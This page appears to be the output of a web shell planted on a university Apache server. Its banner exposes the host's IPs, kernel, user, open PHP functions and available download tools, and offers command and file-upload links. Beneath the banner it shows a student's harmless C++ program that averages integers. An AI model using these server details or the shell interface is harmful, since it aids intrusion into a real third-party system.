Server IP : 172.16.15.8 / Your IP : 18.118.255.51 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/acyurksaitis/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#include <iostream> using namespace std; // Global Variables const int MAX = 100; // function prototype void readData( int [], int& ); float average( const int[] , int ); int main() { int num[MAX]; int size = 0; float avg; // hold the average readData( num, size ); // function call avg = average ( num, size); // output for ( int i = 0; i < size; i++ ) cout << num[i] << endl; cout << "The average is " << avg << endl; return 0; } // function definition void readData ( int num[MAX], int& size ) //int num is string num for HW { cin >> num[size]; while ( cin ) { size ++; //increase the counter cin >> num[size]; } return; } float average ( const int num[MAX] , int size ) { float mean; float sum = 0; for ( int i = 0; i < size; i++ ) sum += num[i]; mean = sum / size; return mean; }